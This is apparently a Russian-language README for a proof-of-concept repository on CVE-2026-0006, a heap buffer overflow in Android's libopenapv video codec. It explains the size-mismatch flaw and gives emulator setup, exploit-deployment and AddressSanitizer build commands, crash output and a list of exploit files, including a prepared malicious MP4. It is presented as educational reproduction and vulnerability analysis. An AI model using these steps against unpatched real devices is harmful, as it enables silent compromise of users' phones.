
CVE-2026-0006: PoC переполнения буфера в куче для libopenapv (кодек Android APV) - CVSS 9.8
CVSS 9.8 Критический | Активно эксплуатируется в дикой природе | Исправлено в марте 2026 года
Примечание: Мы не обнаружили эту уязвимость. Вся заслуга в обнаружении и ответственном раскрытии CVE-2026-0006 принадлежит исходным исследователям. Этот репозиторий содержит наш независимый анализ патча, воспроизведение и учебный разбор, которые помогут сообществу специалистов по безопасности понять класс этой ошибки и задействованные методы эксплуатации.

CVE-2026-0006 — это переполнение буфера в куче в libopenapv, открытом кодеке APV (Advanced Professional Video) от Samsung, интегрированном в Android 16 в качестве модуля Mainline.
Уязвимость позволяет выполнить удалённый код без участия пользователя (zero-click) с помощью специально сформированного MP4-файла. Медиа-фреймворк Android автоматически обрабатывает видеофайлы для создания миниатюр и предпросмотра — участие пользователя не требуется.
oapvd_info() и oapvd_decode() считывают размеры кадра из разных PBU (Payload Byte Units — байтовых единиц полезной нагрузки). Злоумышленник внедряет PBU AU_INFO (тип 65) с заявленными небольшими размерами (16x16), тогда как фактический PBU FRAME кодирует большие размеры (64x64). Фреймворк выделяет буферы на основе вывода oapvd_info(), после чего oapvd_decode() записывает декодированные пиксели с размерами из PBU FRAME — переполняя буфер на 14 848 байт.
Вам понадобится эмулятор Android 16 с уровнем безопасности до марта 2026 года (в более старых версиях Android декодер APV отсутствует).
# Install the required system image (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# Create the AVD
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Launch the emulator
emulator -avd android16_apv -no-snapshot-load
# Check that the APV codec module exists
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Check security patch level (must be before 2026-03-01)
adb shell getprop ro.build.version.security_patch
Если уровень безопасности — 2026-03-01 или новее, уязвимость уже исправлена, и эксплойт не сработает. Используйте более ранний системный образ или снапшот.
# Requires: adb connected to Android 16 device/emulator (pre-March 2026 patch)
./deploy_exploit_mp4.sh
Скрипт генерирует эксплойт-файл MP4, отправляет его на устройство, открывает и перехватывает вывод при падении. Падение может не сработать с первой попытки — скрипт автоматически повторяет попытки до 3 раз.
# Requires: valid.apv and apv-mp4/valid_ffmpeg.mp4 (both included)
python3 generate_overflow_mp4.py
# Requires: Android NDK r29+, libopenapv v0.1.11.3 source
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. Build libopenapv with ASan for ARM64
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. Cross-compile the MP4 ASan PoC
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Push and run on device
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): проверка ssize > 4 и проверка сигнатуры 'aPv1'oapv_param.c для проверки размеров кадра и тайловЭта уязвимость была обнаружена и ответственно раскрыта исследователями безопасности, которые её нашли. Мы не находили этот CVE. Вся заслуга в обнаружении принадлежит им.
Этот репозиторий представляет собой независимый анализ патча и воспроизведение от Mobile Hacking Lab — создан в образовательных целях, чтобы помочь сообществу специалистов по безопасности учиться на реальных уязвимостях.
Это исследование проводилось в образовательных целях на изолированных тестовых сборках уязвимой библиотеки. Все тестирование выполнялось на локально собранных бинарных файлах проекта с открытым исходным кодом libopenapv. Никакие рабочие устройства или системы не были затронуты.
| Файл | Описание |
|---|
generate_overflow_mp4.py | Создаёт эксплойт-файл MP4 с несоответствием размеров AU_INFO |
deploy_exploit_mp4.sh | Всё в одном: генерация, отправка на устройство Android, открытие и перехват падения |
poc_mp4_asan.c | ASan PoC, имитирующий путь декодирования C2SoftApvDec |
poc_android_oob_write.c | Автономный ARM64 PoC с обнаружением переполнения в защитной области |
valid.apv | Корректный APV-битстрим размером 337 байт (64x64, YUV422, 10 бит) |
apv-mp4/valid_ffmpeg.mp4 | Базовый MP4-контейнер (сгенерирован ffmpeg) |
apv-mp4/overflow_auinfo.mp4 | Готовый эксплойт-файл MP4 (1 178 байт) |